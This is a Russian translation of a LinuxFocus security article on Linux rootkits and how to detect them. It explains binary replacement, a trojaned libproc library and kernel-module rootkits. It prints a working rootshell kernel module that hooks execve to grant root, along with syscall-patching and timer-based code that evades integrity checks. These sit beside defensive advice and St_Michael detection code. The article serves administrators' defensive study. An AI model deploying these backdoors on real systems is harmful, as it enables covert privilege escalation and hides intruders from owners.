[LinuxFocus-icon]
Домой  |  Карта  |  Индекс  |  Поиск

Новости | Архивы | Ссылки | Про LF
[an error occurred while processing this directive]
Frederic Raynal
автор Frédéric Raynal aka Pappy (homepage)

Об авторе:

Frédéric Raynal получил степень доктора компьютерных наук после опубликования диссертации о методах сокрытия информации. Он - главный редактор французского журнала MISC, посвященного компьютерной безопасности. Кстати, он ищет работу в научно-исследовательских и опытно-конструкторских проектах.



Перевод на Русский:
Kolobynin Alexey <alexey_ak0(at)mail.ru>

Содержание:

 

Руткиты и целостность

gate

Резюме:

Данная статья была впервые опубликована в специальном выпуске Linux Magazine France, посвященном безопасности. Редактор, авторы и переводчики любезно разрешили опубликовать все статьи из этого выпуска на LinuxFocus. Соответственно, LinuxFocus выпустит их сразу же, как они будут переведены на английский. Спасибо всем, кто участвует в этой работе. Данный обзор будет повторяться в каждой статье из этой серии.

В статье рассматриваются различные действия, которые может предпринять взломщик после успешного проникновения на машину. Также мы обсудим, что может сделать администратор для обнаружения взлома.


_________________ _________________ _________________

 

Опасность

Предположим, что взломщик сумел проникнуть в систему, каким способом - нам не важно. Мы полагаем, что у него есть все привилегии (администратор, root, ...) на данной машине. В этом случае доверять системе становиться бессмысленно, даже если все утилиты, кажется, говорят нам, что все в порядке. Взломщик все подчистил в логах... фактически он уютно утроился в вашей системе.

Его первая задача - действовать как можно более осторожно, чтобы администратор не смог заметить его присутствия. Затем, он устанавливает все программы, которые будут ему нужны для достижения целей. Понятно, что если он хочет просто уничтожить все данные, то не будет столь аккуратным.

Очевидно, что администратор не может постоянно быть подключенным к машине и прослушивать каждое соединение. Тем не менее, он должен обнаружить вторжение как можно раньше. Взломанная система становится базой для программ взломщика (IRC бот, DDOS, ...). Например, используя снифер, он может просматривать все сетевые пакеты. Многие протоколы не шифруют данные и пароли (например, telnet, rlogin, pop3 и другие). Соответственно, чем больше времени есть у взломщика, тем больше он может держать под контролем сеть, в которой находится машина-жертва.

Как только его присутствие будет обнаружено, сразу появляется проблема: мы не знаем, что взломщик изменил в системе. Вероятно он подменил основные команды и диагностирующие утилиты, чтобы скрыть себя. Поэтому мы должны подходить к этому делу с особой тщательностью, чтобы быть уверенными, что ничего не забыли, иначе система будет взломана снова.

И последнее: какие меры должны быть предприняты? Есть две стратегии. Либо администратор переустанавливает всю систему, либо заменяет только испорченные файлы. Хотя полная установка и занимает много времени, но для того чтобы найти все измененные файлы и быть уверенным, что ничего не пропущено, нужно очень много кропотливой работы.

Какую бы стратегию вы ни выбрали, рекомендуется сделать копию измененной системы, чтобы узнать способ, которым взломщик сделал свою работу. Более того, машина могла быть использована в широкомасштабной атаке, и вы можете быть вовлечены в судебное разбирательство. В этом случае, отказ от сохранения резервной копии может быть рассмотрен как сокрытие улик, в то время как копия может вас оправдать.

 

Невидимость существует... Я видел ее!

Обсудим сейчас несколько различных методов, используемых для того, чтобы стать невидимым во взломанной системе, оставляя при этом за собой максимум привилегий.

Перед тем, как мы доберемся до сути, давайте определимся с терминологией:

После проникновения в систему, взломщику нужны программы обоих типов. Бэкдоры позволяют ему зайти на машину, даже если администратор сменит все пароли. Трояны обычно дают возможность оставаться незамеченным.

Сейчас нам не будет разницы данная программа является трояном или бэкдором. Нашей целью будет показать существующие методы их реализации (они очень похожи) и обнаружения.

Напоследок заметим, что большинство дистрибутивов Linux предлагают механизм проверки подлинности (т.е. одновременную проверку целостности файлов и их источника - например, rpm --checksig). Настоятельно рекомендуем воспользоваться им перед установкой программы на машину. Если вы получите измененный архив и установите программу из него, то взломщику больше ничего не надо будет делать :( Получится то, что случается под Windows с Back Orifice.

 

Замена программ

В предыстории Unix не было большой проблемой обнаружить вторжение на машину:

С тех пор взломщики разработали средства для изменения этих команд. Как греки построили деревянного коня для вторжения в Трою, так и эти программы выглядят как старые знакомые и потому не вызывают подозрений у администратора. Однако, эти новые версии скрывают информацию, относящуюся к взломщику. Так как файлы сохранили те же временные метки, что и у других программ из той же директории, и не изменились их контрольные суммы (при помощи другого трояна), "настоящий" администратор полностью обманут.

 

Linux Root-Kit

Linux Root-Kit (lrk) - классика в своем виде (даже если немного староватая). Исходно разработанный Lord Somer-ом, сегодня находится в своей пятой версии. Есть много других руткитов, и здесь мы только обсудим возможности вышеуказанного, чтобы дать вам представление о возможностях этих утилит.

Заменяемые команды предоставляют привилегированный доступ к системе. Чтобы тот, кто использует эти команды, не заметил изменений, они защищены паролем (по умолчанию satori), он может быть задан при компиляции.

Этот классический руткит устарел, так как новое поколение руткитов напрямую атакуют системное ядро. К тому же версии изменяемых программ больше не используются.

 

Обнаружение руткитов этого вида

Этот вид руткитов легко обнаружить, если в системе строгая политика безопасности. Криптография, со своими хэш-функциями, дает нам нужный инструмент:

[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267  /sbin/ifconfig

Не зная, что было изменено, он может сразу показать, что установленный ifconfig и ifconfig из lrk5 - различны.

Поэтому, сразу после установки системы, необходимо сохранить хэши важных файлов (вернемся к "важным файлам" позже) в базу данных, чтобы иметь возможность как можно быстрее обнаружить любое изменение.

Эта база должна быть помещена на физически не перезаписываемый носитель (дискета, не перезаписываемый CD...). Предположим, что взломщик получил права администратора в системе. Если база данных была помещена на раздел доступный только для чтения, то ему достаточно перемонтировать раздел в режим чтения-записи, изменить базу и замонтировать раздел назад только для чтения. Если он добросовестный, то даже изменит временные метки. Поэтому в следующий раз, когда вы будете проверять целостность, вы не увидите никаких изменений. Пример показывает, что права администратора не дают нужной защиты от обновления базы данных.

При обновлении системы вы должны обновить и базу. Таким образом, если вы проверите подлинность обновлений, то позже сможете обнаружить любое нежелательное изменение.

Однако, чтобы проверить целостность системы, необходимо выполнение двух условий:

  1. хэши, вычисляемые по системным файлам, должны сравниваться с хэшами, целостности которых можно доверять на 100%, отсюда - необходимость сохранять базу данных на носителе, доступном только по чтению;
  2. утилиты, которыми мы проверяем целостность, должны быть "чистыми".

То есть, каждая проверка системы должна проводится утилитами, взятыми с другой системы (не взломанной).

 

Использование динамических библиотек

Как мы видели, чтобы стать невидимым, надо многое изменить в системе. Множество команд позволяет нам узнать, существует ли файл, и каждую из них необходимо подменить. То же самое с сетевыми соединениями и текущими процессами на машине. Забыть о последних - грубая ошибка, если вы хотите вести себя осторожно.

Сегодня, чтобы уменьшить свои размеры, большинство программ используют динамические библиотеки. Самое простое решение для вышеописанной проблемы - не изменять каждую программу, а поместить нужные функции в соответствующую библиотеку.

Давайте рассмотрим пример, в котором взломщик хочет изменить время, прошедшее с момента загрузки системы, которую только что перезапустил. Эту информацию можно получить через различные команды, такие как uptime, w, top.

Чтобы узнать, какие библиотеки нужны этим программам, используем команду ldd:

[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Не принимая во внимание libc, попробуем найти библиотеку libproc.so. Достаточно достать исходники и изменить то что нам надо. Здесь мы будем использовать версию 2.0.7, которая находится в директории $PROCPS.

Исходный код команды uptimeuptime.c) показывает, что мы можем найти функцию print_uptime()$PROCPS/proc/whattime.c) и функцию uptime(double *uptime_secs, double *idle_secs)$PROCPS/proc/sysinfo.c). Давайте изменим последнюю для наших нужд:

/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;	/* на практике никогда не принимает нулевого значения */
22:  }

Добавление строк с 10 по 16 в исходную версию, изменяет результат, возвращаемый функцией. Если переменная окружения TERM не содержит строки "satori", то переменная up увеличивается на значение пропорциональное логарифму от настоящего времени работы системы (с такой формулой, время работы системы быстро станет равным нескольким годам :)

Чтобы скомпилировать нашу новую библиотеку, мы добавим опции -D_LIBROOTKIT_ и -lm (для log(up);). Если мы посмотрим при помощи ldd библиотеки, необходимые для программ, использующих нашу функцию uptime, мы увидим libm среди них. К сожалению, это не так для программ, установленных в системе. Использование нашей библиотеки "как есть" вызывает следующую ошибку:

[procps-2.0.7]# ldd ./uptime //скомпилирована с новой libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //оригинальная команда
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //оригинальная команда
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log

Чтобы не компилировать каждую программу, достаточно указать статическое использование математической библиотеки при создании libproc.so:

gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7
alloc.o compare.o devname.o ksym.o output.o pwcache.o
readproc.o signals.o status.o sysinfo.o version.o
whattime.o /usr/lib/libm.a

Таким образом, функция log() напрямую включается в libproc.so. Модифицированная библиотека должна иметь те же зависимости, что и оригинальная, иначе, программы не будут работать.

[pappy]# uptime
  2:12pm  up 7919 days,  1:28, 2 users, load average: 0.00, 0.03, 0.00

[pappy]# w
2:12pm  up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
2:14pm  up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:  191308K av, 181984K used,   9324K free, 0K shrd, 2680K buff
Swap: 249440K av,      0K used, 249440K free           79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM

Все отлично работает. Похоже, что top использует переменную окружения TERM для управления своим отображением. Лучше использовать другую переменную, для предоставления настоящего значения.

Чтобы обнаружить изменения в динамических библиотеках можно применять тот же метод, что обсуждался ранее. Достаточно проверить хэш. К сожалению, очень много администраторов не вычисляют хэши для них, фокусируясь на стандартных директориях (/bin, /sbin, /usr/bin, /usr/sbin, /etc...), в то время как директории, содержащие эти библиотеки, так же важны, как и стандартные.

Однако, интерес к подмене динамических библиотек основан не только на возможности изменения различных программ за один раз. Некоторые программы, предназначенные для проверки целостности, также используют такие библиотеки. Это очень опасно! На важных системах все основные программы должны быть статически скомпилированными, таким образом мы защитим их от воздействия изменений в динамических библиотеках.

Поэтому, использовавшаяся программа md5sum, весьма опасна:

[pappy]# ldd `which md5sum`
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Она динамически вызывает функции из библиотеки libc, которая может быть изменена (проверьте nm -D `which md5sum`). Например, при использовании fopen(), достаточно проверять путь к файлу, если он совпадает с путем к взломанной программе, то надо перенаправить функцию на оригинальную программу, которую взломщик спрячет где-нибудь в системе.

Этот простейший пример демонстрирует возможности для одурачивания тестов на целостность. Мы видели, что эти тесты должны проводиться при помощи внешних утилит, взятых с другой, не взломанной, системы (сравни с разделом о замене программ). Теперь мы выяснили, что эти утилиты бесполезны, если вызывают функции из взломанной системы.

Теперь мы можем создать аварийный набор для обнаружения взломщика:

Этот набор представляет собой минимум. Также весьма полезны и другие команды:

Заметим, что они используются не только для обнаружения присутствия взломщика, но и для выявления неисправностей в работе системы.

Очевидно, что каждая программа из аварийного набора должна быть статически скомпилирована. Мы только что видели, что динамические библиотеки могут повлечь губительные последствия.

 

Модуль ядра Linux (Linux Kernel Module - LKM) для развлечения и пользы

Хотеть изменить каждую программу, которая может обнаружить присутствие файла, хотеть держать под контролем каждую библиотеку - таким желаниям невозможно сбыться. Невозможно вы сказали? Не совсем.

Появилось новое поколение руткитов. Они способны поражать ядро.

 

Возможности LKM

Неограниченны! Как видно из названия, LKM работает в пространстве ядра, поэтому может иметь доступ и контроль над всем.

Взломщику LKM позволяет:

Длина списка зависит от фантазии взломщика. Однако, как и против методов, которые обсуждались выше, администратор может использовать те же утилиты и написать свои модули для защиты системы в этом случае:

Как защититься от LKM? При компиляции ядра может быть отключена поддержка модулей (ответ N в CONFIG_MODULES), или же можно не создавать модулей (отвечая на вопросы только Y или N). В результате вы получите, так называемое, монолитное ядро.

Однако даже если ядро не имеет поддержки модулей, возможна загрузка некоторых из них в память (это не так просто). Сильвио Цезаре (Silvio Cesare) написал программу kinsmod, которая позволяет внедриться в ядро через устройство /dev/kmem, которое управляет памятью ядра (читайте runtime-kernel-kmem-patching.txt на его странице).

Обобщая программирование модулей, заметим, что все зависит от двух функций с конкретными именами: init_module() и cleanup_module(). Они определяют поведение модуля. Но так как они выполняются в пространстве ядра, то имеют доступ ко всему, что расположено в памяти ядра, например к системным вызовам или символам.

 

Вход здесь!

Рассмотрим, как установить бэкдор при помощи lkm. Пользователь хочет получить оболочку с правами root, запустив для этого только команду /etc/passwd. Естественно, этот файл - не команда. Однако, так как мы перехватываем системный вызов sys_execve(), то перенаправим его на команду /bin/sh, позаботясь о правах администратора для этой оболочки.

Данный модуль был протестирован на различных ядрах: 2.2.14, 2.2.16, 2.2.19, 2.4.4. Он отлично работает с каждым. Однако с 2.2.19smp-ow1 (поддержка многопроцессорности с патчем Openwall) запуск оболочки не дает нужных привилегий. Ядро - вещь чувствительная и хрупкая, поэтому будьте осторожны... Путь к файлам соответствует обычному дереву исходных кодов ядра.

/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
      current->uid, current->euid, current->suid, current->fsuid,
      current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " Получили:)))\n");
    current->uid = current->euid = current->suid =
                      current->fsuid = 0;
    current->gid = current->egid = current->sgid =
                      current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx,
                   (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE	/* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "Загружен:)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
		  sys_call_table[__NR_##x] = new_##x

  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "Выгружен:(\n");
}

Проверим, что все работает как надо:

[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#

После этой короткой демонстрации посмотрим на содержимое файла /var/log/kernel: здесь syslogd сконфигурирован так, чтобы сохранять каждое сообщение ядра(kern.* /var/log/kernel в /etc/syslogd.conf):

[rootshell] Загружен:)
[rootshell]  ./usr/bin/id. (500/500/500/500) (100/100/100/100)
[rootshell]  ./etc/passwd. (500/500/500/500) (100/100/100/100)
[rootshell]  Получили:)))
[rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
[rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] Выгружен:(

Немного изменяя этот модуль, администратор может получить очень хорошее средство для контроля. Все команды, выполняемые в системе, записываются в логи ядра. Регистр regs.ecx содержит **argv, а regs.edx - **envp, из структуры current, которая описывает текущую задачу, мы получим всю нужную информацию, чтобы быть в курсе, что происходит в каждый момент времени.

 

Обнаружение и безопасность

Проверка на целостность теперь не позволит администратору обнаружить этот модуль (хорошо, это не совсем так, так как модуль очень простой). Поэтому проанализируем следы, которые могут оставаться от руткитов такого типа:

Проблемы/решения, которые мы обсудили, относятся к невидимости для пользовательских команд. "Хороший" LKM использует все эти приемы, чтобы оставаться незамеченным.

Есть два способа обнаружить такие руткиты. Первый состоит в использовании устройства /dev/kmem, чтобы сравнить информацию из образа памяти ядра с той, что содержится в /proc. Утилиты, такие как kstat, позволяют производить поиск в /dev/kmem для проверки текущих системных процессов, адресов системных вызовов... В статье Тоби Миллера (Toby Miller) Detecting Loadable Kernel Modules (LKM) описано, как использовать kstat для обнаружения руткитов этого типа.

Второй способ состоит в обнаружении каждой попытки изменения системной таблицы вызовов. Модуль St_Michael Тима Лолиса (Tim Lawless) производит такой контроль. Во время написания статьи модуль еще находился в разработке, поэтому его описание может измениться.

Как мы видели в предыдущем примере, lkm руткиты основаны на изменении таблицы системных вызовов. Первое решение - сделать резервную копию этих адресов во второй таблице и переопределить вызовы, которые управляют функциями sys_init_module() и sys_delete_module(). Таким образом, после загрузки каждого модуля, можно делать проверку адресов:

/* Взято из модуля St_Michael Тима Лолиса */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);

  /*
     Проверим, не изменилась ли таблица системных вызовов.
     Если она изменилась, примем меры.

     Мы могли бы сделать это отдельной функцией, однако
     зачем тратить время на вызов?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
	sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }
  }
  return init_module_return;
}

Это решение защищает нас от современных lkm руткитов, однако оно далеко от совершенства. Безопасность - это гонка вооружений (отчасти), и вот способ, как обойти эту защиту. Вместо того, чтобы изменять адрес системного вызова, почему бы не изменить сам системный вызов? Это описано Сильвио Цезаре в stealth-syscall.txt. При атаке заменяются первые байты кода системного вызова на инструкцию "jump &new_syscall" (это псевдо-ассемблер):

/* Взято из stealth_syscall.c (Linux 2.0.35) Сильвио Цезаре */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR],
          sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code,
          sizeof(syscall_code));
  return 0;
}

Мы защищаем свои программы и библиотеки при помощи тестов на целостность, то же самое мы должны сделать и здесь. Мы должны хранить хэш машинного кода каждого вызова. Мы продолжаем работать над этой реализацией в St_Michael, изменяя системный вызов init_module(), это позволяет проводить тест на целостность после загрузки каждого модуля.

Но даже и в этой ситуации, возможно обойти тест на целостность (пример из переписки между Тимом Лолисом, Mixman-ом и мной; исходный код написан Mixman-ом):

  1. Изменение функции, которая не является системным вызовом: по тому же принципу, как и для системного вызова. В init_module() мы изменяем первые байты функции (в этом примере printk()), чтобы "перескочить" из нее на hacked_printk()
    /* Взято из printk_exploit.c Mixman-а */
    
    static unsigned char hacked = 0;
    
    /* hacked_printk() изменяет системный вызов.
       Затем мы вызываем "нормальный" printk(), чтобы
       все работало правильно.
    */
    asmlinkage int hacked_printk(const char* fmt,...)
    {
      va_list args;
      char buf[4096];
      int i;
    
      if(!fmt) return 0;
      if(!hacked) {
        sys_call_table[SYS_chdir] = hacked_chdir;
        hacked = 1;
      }
      memset(buf,0,sizeof(buf));
      va_start(args,fmt);
      i = vsprintf(buf,fmt,args);
      va_end(args);
      return i;
    }
          
    Таким образом, тест на целостность, помещенный в переопределение init_module(), подтверждает, что при загрузке не было изменений в таблице системных вызовов. Однако при следующем вызове printk() изменение произойдет...
    Чтобы противостоять этому, тест на целостность должен распространяться на все функции ядра.
  2. Использование таймера: в init_module(), определяется таймер, который сделает изменения намного позже, чем произошла загрузка модуля. Таким образом, так как тест на целостность происходит во время загрузки (выгрузки) модуля, атака проходит незамеченной :(
     /* timer_exploit.c Mixman */
    
     #define TIMER_TIMEOUT  200
    
     extern void* sys_call_table[];
     int (*org_chdir)(const char*);
    
     static timer_t timer;
     static unsigned char hacked = 0;
    
     asmlinkage int hacked_chdir(const char* path)
     {
       printk("Периодическая проверка может стать решением...\n");
       return org_chdir(path);
     }
    
     void timer_handler(unsigned long arg)
     {
       if(!hacked) {
         hacked = 1;
         org_chdir = sys_call_table[SYS_chdir];
         sys_call_table[SYS_chdir] = hacked_chdir;
       }
     }
    
     int init_module(void)
     {
       printk("Добавляю таймер ядра...\n");
       memset(&timer,0,sizeof(timer));
       init_timer(&timer);
       timer.expires = jiffies + TIMER_TIMEOUT;
       timer.function = timer_handler;
       add_timer(&timer);
       printk("Системный вызов sys_chdir() будет модифицирован через несколько секунд\n");
       return 0;
     }
    
     void cleanup_module(void)
     {
       del_timer(&timer);
       sys_call_table[SYS_chdir] = org_chdir;
     }
          
    В данный момент подходящим решением, нам кажется, будет запуск теста на целостность время от времени, а не только во время загрузки(выгрузки) модуля.

 

Вывод

Поддержка целостности системы - вещь не простая. Хотя эти тесты и надежны, есть много способов обойти их. Единственное решение - ничему не доверять при оценивании состояния системы, особенно, когда есть подозрение, что произошло вторжение. Лучший выход - остановить систему и запустить другую("чистую") для оценки урона.

Утилиты и методы, рассмотренные в этой статье, двусторонни. Они хороши и для взломщика и для администратора. Это видно на примере модуля rootshell, который также позволяет контролировать, кто что запускает.

Если тесты на целостность реализованы согласно подходящим правилам, классические руткиты легко обнаруживаются. Те, которые основаны на модулях, представляют собой новую проблему. Утилиты, которые победят их, находятся в разработке, как и сами модули, так как они еще далеки от использования своих полных возможностей. Безопасность ядра все больше и больше беспокоит людей, до такой степени, что Линус запросил модуль, ответственный за безопасность, для ядер 2.5. Такое изменение в сознании людей произошло из-за большого количества доступных патчей (Openwall, Pax, LIDS, kernelli, чтобы упомянуть малую часть из них).

В любом случае помните, что потенциально взломанная система не может проверить свою целостность. Вы не можете доверять ни ее программам, ни информации, которую она выдает.

 

Ссылки

 

Страница отзывов

У каждой заметки есть страница отзывов. На этой странице вы можете оставить свой комментарий или просмотреть комментарии других читателей :
 talkback page 

Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal aka Pappy , FDL
LinuxFocus.org
Translation information:
fr --> -- : Frédéric Raynal aka Pappy (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> ru: Kolobynin Alexey <alexey_ak0(at)mail.ru>

2002-11-11, generated by lfparser version 2.31